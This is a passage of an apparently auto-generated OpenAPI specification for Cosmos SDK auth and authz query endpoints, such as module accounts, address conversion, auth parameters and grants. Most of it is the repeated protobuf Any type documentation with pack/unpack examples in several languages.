| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address_bytes | |
| in: path | |
| required: true | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/bech32/{address_string}: | |
| get: | |
| summary: AddressStringToBytes converts Address string to bytes | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: AddressStringToBytes | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| address_bytes: | |
| type: string | |
| format: byte | |
| description: >- | |
| AddressStringToBytesResponse is the response type for AddressBytes | |
| rpc method. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address_string | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/module_accounts: | |
| get: | |
| summary: ModuleAccounts returns all the existing module accounts. | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: ModuleAccounts | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| accounts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| description: >- | |
| QueryModuleAccountsResponse is the response type for the | |
| Query/ModuleAccounts RPC method. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/module_accounts/{name}: | |
| get: | |
| summary: ModuleAccountByName returns the module account info by module name | |
| operationId: ModuleAccountByName | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| account: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at least | |
| one "/" character. The last segment of the URL's path must | |
| represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in a | |
| canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary all | |
| types that they | |
| expect it to use in the context of Any. However, for URLs | |
| which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in the | |
| official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer message | |
| along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values in | |
| the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by default | |
| use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the last | |
| '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with an | |
| additional field `@type` which contains the type URL. Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding a | |
| field | |
| `value` which holds the custom JSON in addition to the `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| description: >- | |
| QueryModuleAccountByNameResponse is the response type for the | |
| Query/ModuleAccountByName RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: name | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/auth/v1beta1/params: | |
| get: | |
| summary: Params queries all parameters. | |
| operationId: AuthParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines the parameters of the module. | |
| type: object | |
| properties: | |
| max_memo_characters: | |
| type: string | |
| format: uint64 | |
| tx_sig_limit: | |
| type: string | |
| format: uint64 | |
| tx_size_cost_per_byte: | |
| type: string | |
| format: uint64 | |
| sig_verify_cost_ed25519: | |
| type: string | |
| format: uint64 | |
| sig_verify_cost_secp256k1: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| QueryParamsResponse is the response type for the Query/Params RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /cosmos/authz/v1beta1/grants: | |
| get: | |
| summary: Returns list of `Authorization`, granted to the grantee by the granter. | |
| operationId: Grants | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| grants: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| authorization: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the | |
| type of the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's | |
| path must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be | |
| in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the | |
| binary all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results | |
| based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available | |
| in the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the | |
| above specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any | |
| values in the form | |
| of utility functions or additional generated methods of | |
| the Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and | |
| the unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will | |
| yield type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the | |
| regular | |
| representation of the deserialized, embedded message, | |
| with an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
